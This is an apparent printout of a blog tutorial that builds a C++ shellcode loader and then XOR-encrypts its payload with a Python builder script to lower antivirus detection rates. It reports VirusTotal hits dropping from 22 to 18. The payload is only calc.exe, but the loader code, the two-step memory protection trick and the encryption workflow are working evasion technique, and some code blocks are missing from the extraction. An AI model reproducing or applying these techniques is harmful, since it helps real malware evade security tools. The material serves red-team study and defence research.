2021-09-04 - AV Engines Evasion For C Simple Malware
2021-09-04 - AV Engines Evasion For C Simple Malware
cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html
September 4, 2021
8 minute read
This is not a tutorial to make a malware, but a practical case for educational purpose only.
AV evasion has always being challenging for red teamers and pentesters, especially for
those who write malwares.
In our tutorial, we will write a simple malware in C++ that will launch our payload: calc.exe
process. Then we check through virustotal how many AV engines detect our malware, after
which we will try to reduce the number of AV engines that will detect our malware.
1/14
/*
cpp implementation malware example with calc.exe payload
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
2/14
if ( rv != 0 ) {
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
For simplicity, we use calc.exe as the payload. Without delving into the generation of the
payload, we will simply substitute the finished payload into our code:
3/14
And the main logic of our main function is:
Let’s go to investigate this logic. If you want to run our payload in the memory of the process,
we have to do couple of things. We have to create a new memory buffer, copy our payload
into the buffer, and a start executing this buffer.
The first we do we allocate new memory region in a process and we store the address in
my_payload_mem variable:
4/14
Then, we copy our my_payload to my_payload_mem:
why not just allocate a buffer which is readable writable and executable?
And the reason is pretty simple. Some hunting tools and AV engines can spot this memory
region, because it’s quite unusable that the process needs a memory which is readable,
writeable and executable at the same time. So to bypass this kind of detection we are doing
in a two steps.
5/14
And if everything goes well, we run our payload as the separate new thread in a process:
So basically this is how you can store your payload in a .text section without encryption.
6/14
https://www.virustotal.com/gui/file/c9c49dbbb0a668df053d0ab788f9dde2d9e59c31672b5d29
6bb1e8309d7e0dfe/detection
Let’s go to try to reduce the number of AV engines that will detect our malware.
For this first we must encrypt our payload. Why we want to encrypt our payload? The basic
purpose of doing this to hide you payload from someone like AV engine or reverse engineer.
So that reverse engineer cannot easily identify your payload.
The purpose of encryption is the transform data in order to keep it secret from others. For
simplicity, we use XOR encryption for our case.
Let’s take a look at how to use XOR to encrypt and decrypt our payload.
7/14
/*
cpp implementation malware example with calc.exe payload encrypted via XOR
*/
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
void * my_payload_mem; // memory buffer for payload
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
// run payload
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
8/14
}
return 0;
}
The main difference with our first simple implementation is - we add XOR decrypt function
and our secret key my_secret_key for decryption:
It’s actually simple function, it’s a symmetric encryption, we can use it for encryption and
decryption with the same key.
9/14
which should be encrypted with XOR.
For that create simple python script which encrypt payload and replace it in our C++
template:
10/14
import sys
import os
import hashlib
import string
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
ordd = lambda x: x if isinstance(x, int) else ord(x)
output_str += chr(ordd(current) ^ ord(current_key))
return output_str
## encrypting
def xor_encrypt(data, key):
ciphertext = xor(data, key)
ciphertext = '{ 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };'
print (ciphertext)
return ciphertext, key
## payload calc.exe
plaintext = open("./calc.bin", "rb").read()
## compile
try:
cmd = "x86_64-w64-mingw32-gcc evil-enc.cpp -o evil.exe -s -ffunction-sections -
fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-
libstdc++ -static-libgcc >/dev/null 2>&1"
os.system(cmd)
except:
print ("error compiling malware template :(")
sys.exit()
11/14
else:
print (cmd)
print ("successfully compiled :)")
python3 evil_enc.py
12/14
Let’s go to upload our new evil.exe with encrypted payload to Virustotal:
https://www.virustotal.com/gui/file/c7393080957780bb88f7ab1fa2d19bdd1d99e9808efbfaf79
89e1e15fd9587ca/detection
So, we have reduced the number of AV engines which detect our malware from 22 to
18!
13/14
In the next part, I will write how else you can reduce the number of detections using function
call obfuscation technique.
14/14